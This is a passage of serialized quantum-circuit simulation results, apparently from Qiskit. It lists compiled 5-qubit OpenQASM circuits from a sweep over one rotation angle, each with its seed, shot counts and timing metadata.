q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1273', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 3534451965, 'status': 'DONE', 'data': {'counts': {'0x3': 83, '0x1': 1989, '0x0': 2026, '0x2': 4094}}, 'success': True, 'shots': 8192, 'time_taken': 0.440331615, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.40000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1275', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 555794860, 'status': 'DONE', 'data': {'counts': {'0x3': 57, '0x1': 1927, '0x0': 2038, '0x2': 4170}}, 'success': True, 'shots': 8192, 'time_taken': 0.436553032, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.50000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1277', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 977234919, 'status': 'DONE', 'data': {'counts': {'0x3': 22, '0x1': 2014, '0x0': 2087, '0x2': 4069}}, 'success': True, 'shots': 8192, 'time_taken': 0.44051937500000005, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.60000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1279', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 3580627989, 'status': 'DONE', 'data': {'counts': {'0x3': 6, '0x1': 2026, '0x0': 2111, '0x2': 4049}}, 'success': True, 'shots': 8192, 'time_taken': 0.443556043, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.70000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1281', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 1143251371, 'status': 'DONE', 'data': {'counts': {'0x3': 1, '0x1': 2081, '0x0': 2032, '0x2': 4078}}, 'success': True, 'shots': 8192, 'time_taken': 0.448175608, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.80000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1283', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 6223307, 'status': 'DONE', 'data': {'counts': {'0x3': 1, '0x1': 2042, '0x0': 2077, '0x2': 4072}}, 'success': True, 'shots': 8192, 'time_taken': 0.437395199, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(4.90000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1285', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 178778259, 'status': 'DONE', 'data': {'counts': {'0x3': 13, '0x1': 1980, '0x0': 2124, '0x2': 4075}}, 'success': True, 'shots': 8192, 'time_taken': 0.435511747, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.00000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1287', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 3077665782, 'status': 'DONE', 'data': {'counts': {'0x3': 41, '0x1': 2075, '0x0': 2065, '0x2': 4011}}, 'success': True, 'shots': 8192, 'time_taken': 0.44551838200000005, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.10000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1289', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 2825620118, 'status': 'DONE', 'data': {'counts': {'0x3': 79, '0x1': 1928, '0x0': 2063, '0x2': 4122}}, 'success': True, 'shots': 8192, 'time_taken': 0.44564487100000005, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.20000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1291', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 2308190278, 'status': 'DONE', 'data': {'counts': {'0x3': 124, '0x1': 1959, '0x0': 2216, '0x2': 3893}}, 'success': True, 'shots': 8192, 'time_taken': 0.435112445, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.30000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1293', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 2273909698, 'status': 'DONE', 'data': {'counts': {'0x3': 187, '0x1': 1877, '0x0': 2183, '0x2': 3945}}, 'success': True, 'shots': 8192, 'time_taken': 0.43711204400000003, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.40000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1295', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 2366138579, 'status': 'DONE', 'data': {'counts': {'0x3': 234, '0x1': 1842, '0x0': 2249, '0x2': 3867}}, 'success': True, 'shots': 8192, 'time_taken': 0.443625912, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.50000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1297', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'seed': 384676543, 'status': 'DONE', 'data': {'counts': {'0x3': 270, '0x1': 1746, '0x0': 2417, '0x2': 3759}}, 'success': True, 'shots': 8192, 'time_taken': 0.44500218, 'metadata': {'method': 'statevector', 'omp_shot_threads': 1, 'omp_state_threads': 8}}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier 